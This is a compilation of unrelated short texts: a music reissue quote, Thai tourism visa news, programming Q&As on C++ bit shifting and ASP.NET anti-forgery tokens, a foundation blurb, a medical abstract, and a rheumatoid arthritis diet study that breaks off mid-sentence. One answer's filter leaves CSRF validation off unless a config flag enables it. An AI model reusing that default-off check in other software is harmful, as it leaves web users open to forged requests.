titles were. I would record a song and then never hear it again. In recent years many of my unissued Motown recordings have been released for the very first time, most of which I had completely forgotten about. Sometimes I may hear a song that triggers something in the back of my memory. For the most part, when these unreleased tracks come out, they are as new to me as they are to my fans. I’m so very grateful to my loyal fans all around the world, especially those in the UK who have never stopped supporting my career. I’m truly delighted that my name and work are still relevant today. When “The Artistry Of Brenda Holloway” album was first released in the UK in 1968, I always wished that the rest of the world could have been able to enjoy it as well. Now they finally can.”
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Tourism News Share wonderful travel information Thailand is considering a pilot scheme to allow Chinese tourists visa-free entry into the country to boost tourism. Pipat Ratchakitprakarn, the country’s tourism minister, told Prachachat Business newspaper last week that he was prepared to introduce visa-free travel for Indian tourists as well as Chinese visitors. During the proposed one-year pilot project, which has been submitted to the cabinet for discussion, citizens of both countries will enjoy visa-free entry for up to 14 days. It will possibly take effect from November 1, a day after the expiry of the current scheme that waives visa fees for Chinese visitors on arrival. China is the biggest source of tourists for Thailand, accounting for more than a quarter of the total number of visitors. Photo: AFPView photosChina is the biggest source of tourists for Thailand, accounting for more than a quarter of the total number of visitors. “This time I would like to propose visa-free travel, not a free visa on arrival. I believe it would stimulate the tourism industry and result in a much stronger conclusion for the high season later this year,” Pipat told the newspaper. The proposal is expected to boost this year’s number of Chinese tourists from 10.5 million to 11.5 million, Vichit Prakobgosol, president of the Association of Thai Travel Agents told Universal Daily News, a Chinese-language newspaper in Thailand. Figures from the Thai tourist agency show Chinese visitor numbers fell in the first quarter of this year, but Vichit said he was optimistic that the visa-free proposal would have a significant impact on tourism during the vitally important fourth quarter. China is Thailand’s largest source of tourists and accounts for more than quarter of all visitors in a sector that accounts for around 20 per cent of the country’s GDP, according to the tourist authority. The 10.5 million Chinese visitors last year marked a 7 per cent increase on the previous year but this year the number of arrivals in the first six months dropped by 4.7 per cent to 5.65 million. The decline follows a number of incidents that raised fears about visitor safety, most notably the death of 47 Chinese tourists when two boats capsized and sank in a storm off Phuket in July last year. Zhou Jiannan, a Thai holiday salesman from Zhuyuan, one of the largest travel agencies in northern China, said that following the accident Chinese tourists had tended to shun Phuket and even Thailand at large. “Our clients dropped by almost half for several months after the incident,” Zhou said. A Chinese tourist throws a bucket of water during celebrations for Songkran, also known as the Thai New Year in Bangkok. Photo: AFPView photosA Chinese tourist throws a bucket of water during celebrations for Songkran, also known as the Thai New Year in Bangkok. But Tammy You, a spokeswoman for Ctrip, China’s largest online travel agency, said Thailand remained the most favoured foreign destination for Chinese tourists in recent years. She said the country had topped the list in terms of number of group orders on the platform in July, followed by Japan, Vietnam and Russia. Last November it added China to a list of 21 countries and regions whose citizens are exempt from a 2,000 baht (US$65) fee for visas on arrival. The exemption was originally due to last three months, but was later extended twice and is now due to expire at the end of October. Zhou said it was common practice for Thailand to waive visa fees to boost tourist numbers, but adding China to the list of 64 countries whose citizens enjoy visa-free entry would be unprecedented. He predicted that the prospect of avoiding the queues for a visa at the airport would significantly boost visitor numbers, but sounded a note of caution. Zhou said the Thai government had adopted a conservative attitude towards relaxing visa rules and added that he thought the prospects of the plan being implemented were low.
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CONFIG_ARM=y CONFIG_KIRKWOOD=y CONFIG_TARGET_SHEEVAPLUG=y
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Bitch of the Year Bitch of the Year may refer to: Bitch of the Year, Irish Greyhound of the Year Awards "Bitch of the Year", song by Krewella
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Q: C++ bit shift which way I am having trouble understanding which way I should be shifting bits to convert from part of one structure to another. I am writing an application to be used only on Windows / Intel systems. Old structure (DataByte): Return Number 3 bits (bits 0 – 2) Number of Returns 3 bits (bits 3 – 5) Scan Direction Flag 1 bit (bit 6) Edge of Flight Line 1 bit (bit 7) New structure (ReturnData and DataByte): Return Number 4 bits (bits 0 - 3) Number of Returns (given pulse) 4 bits (bits 4 - 7) Classification Flags 4 bits (bits 0 - 3) Scanner Channel 2 bits (bits 4 - 5) Scan Direction Flag 1 bit (bit 6) Edge of Flight Line 1 bit (bit 7) Bits 0 to 5 should be 0 as that data is unknown in the existing record. I think that converting to the new structure using bit mask and shift: New->ReturnData = (Old->DataByte & 0x07)>>1 | (Old->DataByte & 0x38)>>2; New->DataByte = Old->DataByte & 0xC0; Is that correct? the first 3 bits (& 0x07) shifted >> 1 becomes the first nibble and the second 3 bits (& 0x38) shifted >> 2 the second nibble forming a byte.. or is the shift the other way as Intel is the other endianness? A: Bit 0 is bit 0 regardless of endianness. Endianness affects byte order in memory, which should only matter if you want to do reinterpreting or sending data across the wire. Math is always internally consistent. Bits 0-2 would be 0x07, Bits 3-5 would be 0b0011 1000, which is 0x38. Now in the new data structure, the "return number" stays in the same place, and the "number of returns" just shifts up one (from 3-5) to (4-7). So that's: New->ReturnData = (Old->DataByte & 0x07) // these bits stay in the same place | ((Old->DataByte & 0x38) << 1); // these shift up one Your logic for Scan+Edge looks correct.
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Cross-covariance matrix In probability theory and statistics, a cross-covariance matrix is a matrix whose element in the i, j position is the covariance between the i-th element of a random vector and j-th element of another random vector. A random vector is a random variable with multiple dimensions. Each element of the vector is a scalar random variable. Each element has either a finite number of observed empirical values or a finite or infinite number of potential values. The potential values are specified by a theoretical joint probability distribution. Intuitively, the cross-covariance matrix generalizes the notion of covariance to multiple dimensions. The cross-covariance matrix of two random vectors and is typically denoted by or . Definition For random vectors and , each containing random elements whose expected value and variance exist, the cross-covariance matrix of and is defined by where and are vectors containing the expected values of and . The vectors and need not have the same dimension, and either might be a scalar value. The cross-covariance matrix is the matrix whose entry is the covariance between the i-th element of and the j-th element of . This gives the following component-wise definition of the cross-covariance matrix. Example For example, if and are random vectors, then is a matrix whose -th entry is . Properties For the cross-covariance matrix, the following basic properties apply: If and are independent (or somewhat less restrictedly, if every random variable in is uncorrelated with every random variable in ), then where , and are random vectors, is a random vector, is a vector, is a vector, and are matrices of constants, and is a matrix of zeroes. Definition for complex random vectors If and are complex random vectors, the definition of the cross-covariance matrix is slightly changed. Transposition is replaced by Hermitian transposition: For complex random vectors, another matrix called the pseudo-cross-covariance matrix is defined as follows: Uncorrelatedness Two random vectors and are called uncorrelated if their cross-covariance matrix matrix is zero. Complex random vectors and are called uncorrelated if their covariance matrix and pseudo-covariance matrix is zero, i.e. if . References Category:Covariance and correlation Category:Matrices
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Q: Set ValidateAntiForgeryToken Attribute to work on a condition I have a generic MVC controller with a POST action. This controller is used in a common project used by multiple applications. We are attempting to add CSRF protection in a staggered release process where we add CSRF protection via the Anti Forgery Token for each application one at a time. If I add the validation attribute, [ValidateAntiForgeryToken] to this controller but only include the Anti Forgery Token hidden form element in the views of 1 of the applications this will cause havoc for the other applications. How can I apply this attribute based on a condition. Is this possible? Does this need to be done manually similar to the code below? Is there a better way? [HttpPost] public ActionResult GenericSection(string nextController, string nextAction, FormCollection form) { // Validate anti-forgery token if applicable if (SessionHandler.CurrentSection.IncludeAntiForgeryToken) { try { AntiForgery.Validate(); } catch (Exception ex) { // Log error and throw exception } } // If successful continue on and do logic } A: If you decorate the controller action method with ValidateAntiForgeryToken attribute, you can not escape by not putting the hidden field in the view. You need to figure out a way where, you have the ValidateAntiForgeryToken attribute, have the hidden field for the token in the view but validate the token only when needed. For the below solution, I assume that the multiple applications you are talking about has web.config file. What you need to do is, introduce a new configuration in appSettings, such as IsAntiForgeryTokenValidationEnabled or some better shorter name. Create a new attribute class as following and check the configuration value. If the configuration value is true go ahead and validate the token else just skip it. [AttributeUsage(AttributeTargets.Class | AttributeTargets.Method)] public class CheckAntiForgeryTokenValidation : FilterAttribute, IAuthorizationFilter { private readonly IIdentityConfigManager _configManager = CastleClassFactory.Instance.Resolve<IIdentityConfigManager>(); public void OnAuthorization(AuthorizationContext filterContext) { var configValue = System.Configuration.ConfigurationManager.AppSettings["IsAntiForgeryTokenValidationEnabled"]; //Do not validate the token if the config value is not provided or it's value is not "true". if(string.IsNullOrEmpty(configValue) || configValue != "true") { return; } // Validate the token if the configuration value is "true". else { new ValidateAntiForgeryTokenAttribute().OnAuthorization(filterContext); } } } OnAuthorization method of above class will be executed before the action method where this attribute is used and validate or not validate the token based on the configuration value. Now you need to use this attribute on the controller action method as following example. public class HomeController : Controller { [HttpPost] [CheckAntiForgeryTokenValidation] public ActionResult Save() { // Code of saving. } } After this all the applications which want to validate the AntiForgeryToken need to have the configuration IsAntiForgeryTokenValidationEnabled in their configuration file with value true. The token validation is not available by default, so if existing applications don't have the configurations, they still work without any issues. I hope this would help you resolve your issue.
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Stiftung Deutsche Sporthilfe Stiftung Deutsche Sporthilfe (The German Sports Aid Foundation), established in 1967, has supported more than 47,000 athletes in over fifty different sports, making it the most successful independents sponsoring institution in European sports. The Foundation has created “Stepping Stone to the Future” to assist Germany’s best athletes on their way to a career in business, where athletes previously struggled due to demanding training schedules and travels. Athletes have generally insufficient time to finish their studies, and are often unable to participate in internships. “Stepping Stone to the Future” hopes to eliminate these issues.
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[Pregnancy after breast cancer: the obstetrician's point of view. Literature review]. In 10 to 15% of cases, breast cancer occurs in women under the age of 40. Thanks to the development of novel therapeutic approaches in the past few years, breast cancer prognosis is today far more acute than before and a pregnancy can be planned in these young women. They are expecting from their physician clear information about possibilities for pregnancy and specific risks after breast cancer. Several questions are raised in such situations: Does pregnancy modifies breast cancer prognosis? What is the influence of breast cancer for pregnancy? How do these young patients experience pregnancy and breast cancer? The goal of this paper, based upon literature review, was to clarify guidelines for the follow-up of young women experiencing pregnancy after breast cancer.
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See related editorial by Roubenoff, <http://arthritis-research.com/content/11/2/108> Introduction ============ Rheumatoid arthritis (RA) is a chronic systemic inflammatory disease with higher mortality rates than observed in the general population \[[@B1],[@B2]\]. This increased mortality is largely attributed to cardiovascular disease (CVD) \[[@B3]\]. The increase of CVD is suggested to be related to the effects of the chronic inflammation on the vascular endothelium, mainly through dysregulation of lipid metabolism. Growing evidence points to inflammation in RA being associated with a worsening of the lipid profile \[[@B4],[@B5]\], a factor already present early in the disease \[[@B6]\]. Dyslipidemia in RA is mainly presented by low concentrations of high-density lipoprotein (HDL), which is associated with an unfavorable cardiovascular risk. Total cholesterol and HDL levels in RA are inversely associated with the acute phase response, regardless of whether patients are treated with antirheumatic drugs or not. Furthermore, patients with RA have increased levels of oxidized low-density lipoprotein (oxLDL) in serum compared with healthy subjects, which may contribute to the increased risk of CVD in this patient group \[[@B7]\] as LDL oxidation probably has an important role in the pathogenesis of atherosclerosis \[[@B8]\]. Phosphorylcholine (PC) is a major ligand in oxLDL, exposed on platelet activating factor (PAF)-like phospholipids, which promote inflammation \[[@B9]\]. Antibodies against PC (anti-PC) of the IgM subclass are inversely associated with development of atherosclerosis in patients with established hypertension \[[@B10]\]. Further, low levels of anti-PC antibodies are associated with an increased risk of development of CVD \[[@B11]\]. In RA, anti-PC have not been studied in relation to CVD but we have recently shown that the level of anti-PC in serum increased when changing from a normal to a gluten-free vegan diet \[[@B12]\]. Another consequence of the course of RA disease is change in body composition, with reduced fat free mass (FFM), of which muscle mass is the largest component \[[@B13],[@B14]\]. The decline in FFM is, in RA, often associated with increased fat mass (FM) and thus, with little or no weight loss, also with a maintained body mass index (BMI) \[[@B15],[@B16]\]. This condition has been named \'rheumatoid cachexia\' \[[@B13]\] and is believed to accelerate morbidity and mortality in RA \[[@B17]\]. Rheumatoid cachexia has been described in up to two thirds of RA patients and is suggested to be caused by cytokine-driven hypermetabolism and protein degradation \[[@B14],[@B18]\]. However, it has also been found in patients with good disease control \[[@B14]\]. Another proposed cause is poor nutrition \[[@B19]\]. Dietary intake appears to be adequate in terms of energy and protein among patients with RA \[[@B18],[@B20]\]. However, inadequate nutrient intake has also been reported \[[@B21],[@B22]\]. Further support for a role of diet in the context of rheumatoid cachexia can be found in a recent report that addition of high dose oral amino acids for 12 weeks increased FFM in RA patients with rheumatoid cachexia \[[@B23]\]. During the last decade the use of food frequency questionnaires (FFQs) has become increasingly common to assess long-term dietary consumption. The accuracy of these has been proven in healthy individuals in terms of long-term dietary fat consumption, as this corresponds to fatty acid (FA) composition in adipose tissue \[[@B24]-[@B27]\]. The purpose of this study was to analyze if the type of diet over the previous year, determined by FFQ, was associated with body composition derangement and dyslipidemia in patients with RA. As a secondary goal, we also wanted to evaluate how rheumatoid cachexia relates to cardiovascular risk factors. Materials and methods ===================== Patients -------- A total of 80 consecutive outpatients with RA at the Rheumatology Department, Karolinska University Hospital Huddinge, Stockholm, Sweden were included in the study. Eligible patients were aged 18 to 80 years, had a diagnosis of RA \[[@B28]\] and had disease duration of ≥ 1 year. The exclusion criteria were: current malignancy, severe heart failure according to the New York Heart Association (NYHA) classification \>3 \[[@B29]\], severe renal failure (glomerular filtration rate (GFR) \<20 ml/min), chronic obstructive lung disease with emphysema, earlier gastric ulcer or intestinal surgery, known eating disorder or steroid injections within 2 weeks. The patient characteristics are shown in Table [1](#T1){ref-type="table"}. Consequently, the patients had a fairly low disease activity according to mean Disease Activity Score (DAS28) \[[@B30]\] and a good functional ability as registered by Health Assessment Questionnaire (HAQ) \[[@B31]\]. Furthermore, 54% of the women and 68% of the men had hypertension, defined as a blood pressure above 140/90 or treatment with antihypertensive drugs \[[@B32]\]. ###### Patient characteristics **Women (n = 61)** **Men (n = 19)** ------------------------------------ --------------------- --------------------- Age, years 60.8 (57.3 to 64.4) 63.4 (59.8 to 66.9) Disease duration, years^a^ 6.0 (2.0 to 15.0) 5.0 (3.0 to 9.0) Rheumatoid factor positive, N (%) 51 (84) 14 (74) Erosive disease, N (%) 47 (77) 14 (74) ESR, mm/h^a^ 16.0 (9.0 to 29.0) 12.0 (9.0 to 15.0) C-reactive protein, mg/l^a^ 2.0 (1.0 to 8.0) 3.0 (1.0 to 9.0) DAS28 3.3 (3.0 to 3.6) 2.6 (2.1 to 3.0) HAQ score (0 to 3) 0.7 (0.5 to 0.8) 0.5 (0.2 to 0.7) Patients on DMARDs, N (%) 59 (97) 19 (100) Patients on glucocorticoids, N (%) 17 (28) 3 (16) Glucocorticoids, dose, mg 4.3 (3.4 to 5.3) 4.2 (0.6 to 7.8) Hypertension, N (%) 33 (54) 13 (68) MetS, N (%) 12 (20) 12 (63) Data is presented as mean (95% confidence intervals) for normally distributed variables and as median (interquartile range) for non-parametric variables. ^a^Median. DAS28, 28-joint Disease Activity Score (where a value of \>5.1 is regarded as high disease activity, \<3.2 is regarded as low activity and \<2.6 is regarded as remission); ESR, erythrocyte sedimentation rate; DMARD, disease-modifying antirheumatic drug (for example, methotrexate, sulfasalazine, hydroxychloroquine, cyclosporine, natriumaurotiomalat and azathioprine); HAQ, Health Assessment Questionnaire; MetS, metabolic syndrome. The study was approved by the Ethics committee at Karolinska Institute, Stockholm, Sweden (reference number 2006/593-31/2), and was performed in accordance with the Helsinki declaration. Before entering the study the patients were given oral and written information, after which we received written informed consent from the patients. Dietary assessment ------------------ The self-administered, semiquantitative FFQ was designed to classify individuals according to levels of average daily intake of selected nutrients from food and dietary supplements \[[@B33]\]. Participants were asked to report their frequency of use of 88 food items over the past year. There were nine possible frequency categories in increasing order from never or almost never to three times per day. Furthermore, there were open-ended questions about the quantity of some food items eaten daily by most Swedes; for example, milk, bread, coffee, and cheese \[[@B33]\]. The nutrient calculations were carried out using nutrient composition values from the Swedish National Food Administration data \[[@B34]\]. The intake of nutrients was computed by multiplying the frequency of consumption of each food item by the nutrient content of the specified portions. According to the Swedish National Food Administration the proportions (energy percentage (E%)) of carbohydrate, protein and fat should be 55 to 65 E%, 10 to 15 E% and 25 to 35 E%, respectively, for normally active individuals. For less active individuals the recommendations are 55 E%, 16 E% and 28 E%, respectively \[[@B35]\]. A Mediterranean diet was defined as a diet with high intake of fruits, vegetables, legumes, nuts, olive oil, fish, shellfish, a minimum of dairy products and lean meat \[[@B33]\]. Biochemical measures -------------------- Venous blood samples were drawn between 07:30 and 10:00 after an overnight fast. The biochemical variables were determined by standard laboratory methods with commercial kits. They included: C-reactive protein (CRP), erythrocyte sedimentation rate (ESR), plasma glucose, total cholesterol, LDL, HDL and triglycerides. The serum lipid concentrations were considered pathological when total cholesterol was \>5.0 mmol/l, LDL ≥ 3.0 mmol/l, triglycerides ≥ 1.7 mmol/l, for women HDL \<1.3 mmol/l and for men HDL \<1.1 mmol/l. The samples had also been stored at -70 C before analyses. OxLDL was determined by use of a commercial kit (Mercodia, Uppsala, Sweden) as per the manufacturer\'s instructions. Anti-PC IgM was also determined by use of a commercial kit (Athera CVDefine, Stockholm, Sweden) as per the manufacturer\'s instructions. Subcutaneous abdominal fat cells were aspirated with a needle attached to a vacuum tube and stored at -70 C until analyzed. The FA composition of subcutaneous adipose tissue was analyzed by gas liquid chromatography as described previously \[[@B36]\]. The amounts of FA were given as the relative percentage of the sum of the FA analyzed. Body composition and metabolic syndrome --------------------------------------- BMI was calculated from weight/height^2^(kg/m^2^). In accordance with World Health Organization (WHO) standards, individuals with BMI values \<18.5 kg/m^2^are considered underweight, between 18.5 to 24.9 as normal, 25 to 29.9 as overweight and values greater than 30 indicate obesity \[[@B37]\]. Waist circumference (WC) was measured to identify centrally obese individuals. Waist was measured to the nearest 0.5 cm midway between the iliac crest and the lower rib margin. According to the International Diabetes Federation (IDF), a waist circumference value less than 80 cm in women and 94 cm in men indicates low risk, 80--87.9 cm in women and 94--101.9 cm in men indicates intermediate risk, and a value above 88 cm in women and 102 cm in men high risk of type 2 diabetes, coronary heart disease or hypertension \[[@B38]\]. Metabolic syndrome (MetS) was defined according to the IDF \[[@B38]\]; that is, presence of central obesity (waist perimeter ≥ 80 cm in females and ≥ 94 cm in males) plus two of the following four criteria: hypertriglyceridemia (triglycerides ≥ 1.7 mmol/1 or specific treatment), unfavorable HDL level (\<1.3 mmol/1 in females and \<1.1 mmol/1 in males and or specific treatment), hypertension (systolic blood pressure (BP) ≥ 130 mmHg or diastolic BP ≥ 85 mmHg or specific antihypertensive treatment) and fasting plasma glucose ≥ 5.6 mmol/1 or prior diagnosis of type 2 diabetes mellitus. Body composition was measured with total body dual energy x ray absorptiometry (DXA) (GE-Lunar Prodigy, software enCore 2006, v. 10.20.105, Madison, Wisconsin, USA,). FFM and FM were expressed in absolute kg, and FM also as percentage of total mass. The reference value for FM% is 20% to 30% for women and 12% to 20% for men \[[@B39]\]. Fat free mass index (FFMI, kg/m^2^) and fat mass index (FMI, kg/m^2^) were also calculated. Age-matched and sex-matched data from a Swiss population of healthy adults (2,986 men and 2,649 women) were used to classify low FFM or excess FM \[[@B40]\]. The cutoff value for low FFM was defined as FFMI below the 10th percentile and obesity was defined as FMI above the 90th percentile, as defined by the reference population \[[@B40]\]. As there is no established criterion for rheumatoid cachexia we used both the definition by Engvall *et al.*, who categorized the patients as rheumatoid cachectic if FFMI was below the 10th percentile and FMI above the 25th percentile \[[@B41]\], and also the definition composed of FFMI below the 25th percentile and FMI above the 50th percentile. Statistical analysis -------------------- Data were presented as mean (confidence interval) or median (interquartile range) depending on whether the data were normally distributed or not. Differences between patient groups were assessed using the Student t test and Mann-Whitney U test, depending on the distribution of the analyzed variable. To evaluate the association between intake of fatty acids in the diet and their relative content in adipose tissue Spearman correlations were used. FAs in adipose tissue are described as the percentage of the total FAs analyzed. Dietary FAs are described as the percentage of total fat intake as well as grams per day. *P*values \< 0.05 were considered significant. The statistical analysis program Statistica 7 (Stat Soft Scandinavia AB, Uppsala, Sweden), was used for statistical analysis. Results ======= Dietary intake and fatty acid profiles -------------------------------------- The mean dietary intake of total energy, carbohydrate, protein and fat is shown in Table [2](#T2){ref-type="table"}. Compared with the Swedish Food Recommendations for individuals with low physical activity \[[@B35]\], the RA patients had a low intake of total energy. As to the diet composition, the patients reported lower carbohydrate intake and higher fat intake than recommended. The fat intake consisted of more saturated and less unsaturated fat than recommended. ###### Energy intake according to food frequency questionnaire (FFQ) in rheumatoid arthritis (RA) patients and Swedish recommendations for low active individuals **Women with RA (n = 61)** **Recommendations for females** **Men with RA (n = 19)** **Recommendations for males** ------------------ ---------------------------- --------------------------------- -------------------------- ------------------------------- Energy, kcal 1,668 (1,537 to 1,799) 2,200 2,402 (2,123 to 2,680) 2,700 Carbohydrate, g 195 (178 to 212) 293 268 (238 to 298) 369 Carbohydrate, E% 48 55 45 55 Protein, g 73.0 (66.7 to 79.3) 86 103 (88.4 to 118) 107 Protein, g/kg 1.13 (1.01 to 1.23) 1.18 (1.0 to 1.36) Protein, E% 18 16 17 16 Total fat, g 61.1 (55.8 to 66.4) 69 88.6 (75.1 to 102.1) 87 Total fat, E% 33 28 33 28 SFA, g 26.4 (23.7 to 29.0) 20 39.1 (31.9 to 46.2) 30 SFA, E% 14 10 15 10 MUFA, g 21.0 (19.2 to 22.8) 30 30.9 (26.5 to 35.2) 40 MUFA, E% 11 11 12 11 PUFA, g 8.9 (7.9 to 9.8) 15 to 30 11.8 (9.8 to 13.8) 15 to 30  PUFA, E% 4.8 5 4.4 5  Omega 3 FA, g 1.9 (1.8--2.1) ≥ 3.0 1.7 (1.6--1.8) ≥ 3.0  Omega 3 FA, E% 1.0 1.3 0.6 1.3  Omega 6 FA, g 6.9 (6.2 to 7.7) 10.8 11.0 (10.4 to 11.5) 10.8  Omega 6 FA, E% 3.7 3.6 4.1 3.6 E%, energy percentage; FA, fatty acid; MUFA, monounsaturated fatty acid; PUFA, polyunsaturated fatty acid; SFA, saturated fatty acid. Low total energy intake was mainly reported by patients with moderate inflammatory activity. Thus, female patients with DAS28 \>3.2 had a lower mean energy intake than those with DAS28 ≤ 3.2 (1,500 kcal/day vs. 1,800 kcal/day, *P*= 0.016). The proportions (E%) of carbohydrate, protein and fat were similar in these two groups. Saturated fatty acid (SFA) intake was significantly associated with DAS28 (r = 0.26, *P*= 0.017). In all, 65 patients (81%) reported eating a normal western diet (46 of the women and all of the men), 3 patients (all women) were vegetarians and 12 (all women) followed a Mediterranean-like diet. The reported dietary intake of FAs correlated significantly with that in adipose tissue as to FA 14:0 (myristic acid), 18:2 n-6 (linoleic acid), 18:3 n-3 (α-linolenic acid), 20:4 n-6 (arachidonic acid), 20:5 n-3 (eicosapentaenoic acid), 22:5 n-3 (docosapentaenoic acid) and 22:6 n-3 (docosahexaenoic acid), but not with 16:0 (palmitic acid) and 18:1 n-9 (oleic acid) (Table [3](#T3){ref-type="table"}). The FA in adipose tissue consisted predominantly of 18:1 n-9 (oleic acid) 51%, 16:0 (palmitic acid), 22% and 18:2 n-6 (linoleic acid) 11%. ###### Spearman correlation coefficients between relative (% of total fat) fatty acid (FA) diet intake calculated from food frequency questionnaire (FFQ) and FA in adipose tissue **14:0 (FFQ)** **16:0 (FFQ)** **18:1 n9 (FFQ)** **18:2 n6 (FFQ)** **18:3 n3 (FFQ)** **20:4 n6 (FFQ)** **20:5 n3 (FFQ)** **22:5 n3 (FFQ)** **22:6 n3 (FFQ)** ------------- ---------------- ---------------- ------------------- ------------------- ------------------- ------------------- ------------------- ------------------- ------------------- 14:0, AT 0.27\*\* 16:0, AT -0.12 18:1 n9, AT 0.21 18:2 n6, AT 0.50\* 18:3 n3, AT 0.48\* 20:4 n6, AT 0.64\* 20:5 n3, AT 0.71\* 22:5 n3, AT 0.78\* 22:6 n3, AT 0.82\* \**P*\< 0.001, \*\**P*\< 0.05 AT = adipose tissue. When analyzing the adipose FA content for the different self-reported diet groups, it was found that subjects compliant to Mediterranean-like or vegetarian diets had a more favorable FA profile; that is, with higher polyunsaturated fatty acids (PUFAs) than those reporting to eat a normal Western diet, Table [4](#T4){ref-type="table"}. ###### Fatty acids in adipose tissue and serum levels of lipids and anti-PC IgM in women with rheumatoid arthritis (RA), separated for diet Normal diet (n = 46) Mediterranean-like diet (n = 12) *P*value Mediterranean-like and vegetarian diets (n = 15) *P*value ------------------------- ---------------------- ---------------------------------- ------------- -------------------------------------------------- ------------- Adipose tissue: SFA 29.2 (28.4 to 29.9) 29.1 (27.5 to 30.7) 0.60 28.8 (27.5 to 30.1) 0.90 14:0 3.3 (3.1 to 3.5) 3.4 (3.1 to 3.8) 0.60 3.5 (3.2 to 3.8) 0.43 16:0 21.7 (21.2 to 22.2) 21.7 (20.4 to 23.1) 0.92 21.4 (20.2 to 22.5) 0.55 MUFA 57.4 (56.7 to 58.1) 56.1 (54.6 to 57.6) 0.06 55.8 (54.4 to 57.2) **0.016** 16:1 n7 6.5 (6.0 to 6.9) 6.0 (5.3 to 6.6) 0.30 5.8 (5.2 to 6.4) 0.13 18:1 n9 51.4 (50.9 to 52.0) 50.2 (48.9 to 51.2) **0.05** 50.0 (49.0 to 51.0) **0.019** Omega 3 1.8 (1.7 to 1.9) 2.1 (1.7 to 2.6) **0.039** 2.2 (1.8 to 2.6) **0.009** 18:3 n3 1.1 (1.0 to 1.2) 1.1 (0.93 to 1.2) 0.72 1.1 (1.0 to 1.3) 0.22 20:5 n3 0.14 (0.12 to 0.16) 0.19 (0.12 to 0.25)\* 0.08 0.15 (0.11 to 0.25)\* 0.16 22:5 n3 0.33 (0.29 to 0.37) 0.40 (0.31 to 0.50) 0.06 0.39 (0.29 to 0.48) 0.11 22:6 n3 0.32 (0.28 to 0.36) 0.47 (0.25 to 0.59)\* 0.07 0.47 (0.20 to 0.60)\* 0.13 Omega 6 11.0 (10.6 to 11.3) 12.0 (10.7 to 13.2) 0.06 12.6 (11.2 to 14.1) **0.004** 18:2 n6 10.1 (9.7 to 10.5) 11.2 (9.8 to 12.5) 0.06 11.9 (10.4 to 13.4) **0.003** 20:4 n6 0.40 (0.36 to 0.44) 0.39 (0.31 to 0.46) 0.81 0.32 (0.26 to 0.45)\* 0.35 Serum lipids: Cholesterol, mmol/l 5.3 (5.0 to 5.6) 5.1 (4.7 to 5.6) 0.60 5.1 (4.8 to 5.5) 0.57 HDL, mmol/l 1.9 (1.7 to 2.0) 1.9 (1.4 to 2.4) 0.97 1.9 (1.5 to 2.3) 0.86 LDL, mmol/l 2.9 (2.7 to 3.2) 2.8 (2.3 to 3.2) 0.58 2.8 (2.3 to 3.2) 0.52 OxLDL, U/l 62.1 (55.7 to 68.4) 59.4 (50.0 to 68.9) 0.67 58.8 (51.2 to 66.3) 0.57 Triacylglycerol, mmol/l 0.98 (0.88 to 1.1) 1.0 (0.82 to 1.2) 0.63 1.0 (0.81 to 1.1) 0.95 anti-PC IgM, U/ml~a~ 43.5 (30.3 to 65.5) 198.2 (171.6 to 209.2) **\<0.001** 188.2 (63.3 to 208.1) **\<0.001** Values are means (95% confidence interval) and ^a^medians (interquartile range). The fatty acids in adipose tissue are expressed as a percentage of total fat. Significant results are in bold. Anti-PC IgM, antibodies against phosphorylcholine IgM; FA, fatty acid; HDL\< high-density lipoprotein; LDL, low-density lipoprotein; MUFA, monounsaturated fatty acid; oxLDL, oxidized low-density lipoprotein; PUFA, polyunsaturated fatty acid; SFA, saturated fatty acid. Serum lipids and anti-PC IgM ---------------------------- Lipid mean values for women with RA with normal Western diet and with the Mediterranean-like/vegetarian diets are presented in Table [4](#T4){ref-type="table"}. There were no significant differences between the diet groups. A total of 53% of the women and 32% of the men had cholesterol \>5.0 mmol/l. Low HDL levels were found in 3% of the women and 5% in the men. High LDL levels were present in 51% of the women and in 32% of the men. Corresponding figures for triglycerides were 1% and 37% respectively. Concerning oxLDL, no reference values exist. However, anti-PC IgM levels differed significantly between patients in the different self-reported diet groups. Women with Mediterranean-like diet had significantly higher median level compared with those with self-reported normal Western diet (p \< 0.001), Table [4](#T4){ref-type="table"}. Anthropometrical assessments and body composition measurement ------------------------------------------------------------- As shown in Table [5](#T5){ref-type="table"} the change in body weight from start of RA disease to the present investigation was fairly small for both sexes. BMI indicated that both women and men were overweight. Only one of the patients had BMI \<18.5. A total of 55% of the patients had a BMI \>25. Central obesity was found in 57% of the women (WC \>80 cm) and in 89% of the men (WC \>94 cm). In all, 20% of the women and 63% of the men could be diagnosed to have MetS according to IDF guidelines \[[@B38]\]. ###### Anthropometry and body composition measurement in rheumatoid arthritis (RA) patients Women (n = 61) Men (n = 19) -------------------------------------------------------------- ---------------------- --------------------- Weight change since disease onset, kg 2.3 (-0.8 to 5.9) 4.4 (-2.2 to 8.0) BMI, kg/m^2^ 25.0 (23.6 to 26.3) 27.0 (25.7 to 29.1) Waist circumference, cm 85 (81 to 89) 105 (100 to 110) Central obesity (WC \>80 cm in women, \>94 cm in men), N (%) 35 (57) 17 (89) FM, total, kg 25.8 (22.8 to 28.7) 27.9 (23.4 to 32.5) FM, total, % 37.8 (35.7 to 39.9) 31.7 (28.1 to 35.2) FMI, kg/m^2^ 8.8 (6.5 to 11.4)^a^ 8.6 (7.2 to 9.9) FFM, total, kg 42.0 (40.6 to 43.5) 61.2 (58.6 to 63.8) FFMI, kg/m^2^ 15.5 (15.1 to 15.9) 18.9 (18.2 to 19.6) Data is presented as mean (95% confidence interval) for normally distributed variables and as median (interquartile range) for non-parametric variables. ^a^Median BMI, body mass index; FFM, fat free mass; FFMI, fat free mass index; FM, fat mass; FMI, fat mass index; WC, waist circumference. Body composition data are shown in Table [5](#T5){ref-type="table"}. In all, 31% of the women and 53% of the men had a FMI above the 90th percentile of the reference population, implying that they could be classified as obese. Reduced FFMI, that is, below the 10th percentile of a reference population, was registered in 26% and 21% of the women and men, respectively. Furthermore, 18% of the women and 26% of the men were assessed to have rheumatoid cachexia when using the definition of FFMI below the 25th percentile and FMI above the 50th percentile. By the definition of FFMI below the 10th percentile and FMI above the 25th percentile, 18% and 21% of the women and men, respectively, were assessed to have rheumatoid cachexia. FFM correlated with disease duration (r = -0.30, p = 0.008), in contrast to FM. Relationship between body composition and serum lipids as well as anti-PC antibodies and inflammatory markers ------------------------------------------------------------------------------------------------------------- Patients with low FFMI, below the 10th or the 25th percentile of healthy adults, had serum lipid and anti-PC levels similar to the rest of the patients \[Additional data file [1](#S1){ref-type="supplementary-material"}\]. Patients with FMI above the 50th percentile had lower HDL and higher triglycerides than the other patients. When combining low FFMI and high FMI according to the two proposed definitions of rheumatoid cachexia, it was evident that the patients with FFMI \<25th percentile in combination with FMI 